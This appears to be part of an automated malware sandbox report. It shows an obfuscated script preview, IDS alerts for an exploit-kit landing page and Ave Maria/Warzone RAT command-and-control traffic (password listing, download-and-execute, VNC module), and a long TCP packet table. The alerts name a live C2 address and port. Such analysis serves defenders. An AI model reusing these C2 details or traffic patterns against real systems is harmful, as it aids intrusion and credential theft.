File Content Preview:	..c.P.c.U.f.o.f.r.W.R.K.L.L.G.n.f.k.r.e.v.e.z.a.m.e.n.t.o.d.U.m.C.U.L.o.i.o.W.k.a.P.A.P.R.r.U.v.H.S.f.W.x.B.W.N.W.m.n.c.I.d.L.c.m.j.q.I.e.U.k.K.f.H.Z.t.v.i. .=. .".i.A.m.K.d.v.L.L.k.h.L.t.c.t.e.A.L.f.t.R.e.k.v.h.G.z.G.b.t.c.a.b.c.u.i.K.q.k.n.O.A.s.h.R.L.Z

File Icon


Icon Hash:	68d69b8f86ab9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-02T05:23:16.346506+0200	2020423	ET EXPLOIT_KIT Unknown EK Landing Feb 16 2015 b64 1 M1	1	162.159.140.237	443	192.168.2.10	49703	TCP
2024-10-02T05:23:16.346506+0200	2020425	ET EXPLOIT_KIT Unknown EK Landing Feb 16 2015 b64 3 M1	1	162.159.140.237	443	192.168.2.10	49703	TCP
2024-10-02T05:23:16.347330+0200	2020424	ET EXPLOIT_KIT Unknown EK Landing Feb 16 2015 b64 2 M1	1	162.159.140.237	443	192.168.2.10	49703	TCP
2024-10-02T05:23:18.751952+0200	2852346	ETPRO MALWARE Ave Maria/Warzone RAT InitializePacket	1	109.248.151.156	2048	192.168.2.10	49704	TCP
2024-10-02T05:23:18.968471+0200	2852347	ETPRO MALWARE Ave Maria/Warzone RAT BeaconResponse	1	192.168.2.10	49704	109.248.151.156	2048	TCP
2024-10-02T05:23:19.190136+0200	2852350	ETPRO MALWARE Ave Maria/Warzone RAT ListPasswordsCommand	1	109.248.151.156	2048	192.168.2.10	49704	TCP
2024-10-02T05:23:19.191606+0200	2839089	ETPRO MALWARE Ave Maria RAT Encrypted CnC Checkin (2)	1	192.168.2.10	49704	109.248.151.156	2048	TCP
2024-10-02T05:23:19.191606+0200	2852352	ETPRO MALWARE Ave Maria/Warzone RAT DownloadAndExecuteCommand	1	192.168.2.10	49704	109.248.151.156	2048	TCP
2024-10-02T05:23:19.191606+0200	2852355	ETPRO MALWARE Ave Maria/Warzone RAT VNCGetModule	1	192.168.2.10	49704	109.248.151.156	2048	TCP
2024-10-02T05:23:19.398141+0200	2852354	ETPRO MALWARE Ave Maria/Warzone RAT RemoteModuleLoadResponse	1	109.248.151.156	2048	192.168.2.10	49704	TCP
2024-10-02T05:23:22.453000+0200	2839088	ETPRO MALWARE Ave Maria RAT Encrypted CnC KeepAlive Outbound (2)	1	192.168.2.10	49704	109.248.151.156	2048	TCP
2024-10-02T05:23:22.453000+0200	2852351	ETPRO MALWARE Ave Maria/Warzone RAT ListPasswordsResponse	1	192.168.2.10	49704	109.248.151.156	2048	TCP
2024-10-02T05:23:38.752603+0200	2839087	ETPRO MALWARE Ave Maria RAT Encrypted CnC KeepAlive Inbound (2)	1	109.248.151.156	2048	192.168.2.10	49704	TCP
2024-10-02T05:23:38.752603+0200	2852348	ETPRO MALWARE Ave Maria/Warzone RAT PingCommand	1	109.248.151.156	2048	192.168.2.10	49704	TCP
2024-10-02T05:23:38.752895+0200	2851450	ETPRO MALWARE Ave Maria RAT Encrypted CnC KeepAlive Outbound (3)	1	192.168.2.10	49704	109.248.151.156	2048	TCP
2024-10-02T05:23:38.752895+0200	2852349	ETPRO MALWARE Ave Maria/Warzone RAT PingResponse	1	192.168.2.10	49704	109.248.151.156	2048	TCP
2024-10-02T05:24:18.755283+0200	2852348	ETPRO MALWARE Ave Maria/Warzone RAT PingCommand	1	109.248.151.156	2048	192.168.2.10	49704	TCP
2024-10-02T05:24:18.755920+0200	2852349	ETPRO MALWARE Ave Maria/Warzone RAT PingResponse	1	192.168.2.10	49704	109.248.151.156	2048	TCP
2024-10-02T05:24:58.769522+0200	2852348	ETPRO MALWARE Ave Maria/Warzone RAT PingCommand	1	109.248.151.156	2048	192.168.2.10	49704	TCP
2024-10-02T05:24:58.770155+0200	2852349	ETPRO MALWARE Ave Maria/Warzone RAT PingResponse	1	192.168.2.10	49704	109.248.151.156	2048	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 2, 2024 05:23:11.708261967 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:11.708302021 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:11.708369017 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:11.722255945 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:11.722273111 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:12.332632065 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:12.332834959 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:12.382555008 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:12.382601976 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:12.382946014 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:12.414331913 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:12.459404945 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:12.657042980 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:12.657064915 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:12.657150984 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:12.657155037 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:12.657169104 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:12.657182932 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:12.657203913 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:12.657226086 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:12.657250881 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:12.670726061 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:12.670753002 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:12.670840979 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:12.670855045 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:12.670898914 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:12.712677956 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:12.712721109 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:12.712807894 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:12.712840080 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:12.712860107 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:12.712886095 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:12.760207891 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:12.760235071 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:12.760325909 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:12.760360003 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:12.760432005 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:12.761466980 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:12.761488914 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:12.761543989 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:12.761552095 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:12.761579990 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:12.761598110 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:12.763211012 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:12.763231039 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:12.763277054 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:12.763283968 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:12.763377905 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:12.827244043 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:12.827275991 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:12.827419043 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:12.827472925 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:12.827543974 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:12.851846933 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:12.851872921 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:12.852071047 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:12.852097034 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:12.852154970 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:12.852725983 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:12.852751970 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:12.852826118 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:12.852840900 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:12.852874041 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:12.852895021 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:12.853802919 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:12.853837013 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:12.853889942 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:12.853907108 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:12.853929043 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:12.853951931 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:12.855340004 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:12.855362892 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:12.855433941 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:12.855448008 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:12.855473995 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:12.855516911 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:12.856316090 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:12.856337070 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:12.856390953 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:12.856405020 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:12.856429100 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:12.856446981 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:12.870027065 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:12.870049000 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:12.870157957 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:12.870176077 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:12.870224953 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:12.894834042 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:12.894864082 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:12.894898891 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:12.894908905 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:12.894947052 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:12.894972086 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:12.918664932 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:12.918685913 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:12.918772936 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:12.918798923 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:12.918839931 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:12.929512024 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:12.976622105 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:12.976645947 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:12.976691008 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:12.976699114 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:12.976747990 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:12.977277040 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:12.977298975 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:12.977329016 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:12.977339029 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:12.977360010 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:12.977380037 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:12.978004932 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:12.978069067 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:12.978121996 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:12.978132010 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:12.978152037 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:12.978188038 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:12.981431961 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:12.981456995 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:12.981498003 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:12.981518984 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:12.981534004 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:12.981549025 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:12.982038975 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:12.982059002 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:12.982125044 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:12.982135057 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:12.982167959 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:12.984616041 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:12.984647989 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:12.984690905 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:12.984698057 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:12.984738111 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.009711981 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.009740114 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.009845018 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.009876966 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.009922981 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.010062933 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.010083914 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.010127068 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.010133982 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.010152102 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.010169983 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.067305088 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.067327976 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.067457914 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.067473888 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.067533970 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.067861080 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.067882061 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.067953110 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.067971945 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.067996025 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.068013906 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.068320990 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.068341017 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.068383932 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.068397045 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.068423033 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.068442106 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.068775892 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.068795919 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.068840027 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.068852901 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.068876982 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.068897009 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.069170952 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.069191933 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.069233894 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.069246054 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.069268942 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.069286108 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.070588112 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.075298071 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.075318098 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.075433016 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.075448990 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.075506926 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.099539042 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.099565983 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.099685907 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.099701881 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.099750996 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.099981070 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.100002050 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.100061893 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.100073099 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.100106955 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.100131989 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.158123016 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.158147097 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.158251047 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.158274889 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.158329964 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.158488989 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.158509016 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.158576012 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.158588886 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.158644915 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.159054041 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.159073114 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.159157038 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.159164906 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.159254074 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.159349918 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.159368992 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.159442902 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.159449100 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.159487009 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.159769058 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.159792900 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.159833908 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.159840107 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.159863949 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.159883022 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.166184902 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.166218996 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.166269064 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.166276932 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.166300058 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.166318893 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.190761089 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.190793037 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.190876961 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.190944910 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.190956116 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.190992117 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.191025972 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.248965025 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.248991013 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.249094009 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.249108076 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.249151945 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.249378920 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.249396086 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.249444008 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.249450922 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.249488115 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.249757051 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.249774933 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.249830961 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.249838114 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.249881983 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.250211954 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.250236034 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.250276089 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.250305891 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.250313997 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.250344038 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.250627041 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.250652075 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.250689030 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.250694990 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.250742912 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.250742912 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.256922960 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.256952047 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.257035017 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.257044077 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.257090092 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.281323910 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.281356096 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.281497955 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.281511068 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.281526089 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.281553984 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.281559944 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.281570911 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.281596899 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.281636000 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.346847057 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.346875906 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.347063065 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.347093105 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.347150087 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.347693920 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.347718000 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.347764015 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.347769976 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.347799063 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.347815990 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.349092007 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.349118948 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.349174976 CEST	49702	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:23:13.349189997 CEST	443	49702	207.241.227.240	192.168.2.10
Oct 2, 2024 05:23:13.349199057 CEST	49702	443	192.168.2.10	207.241.227.240
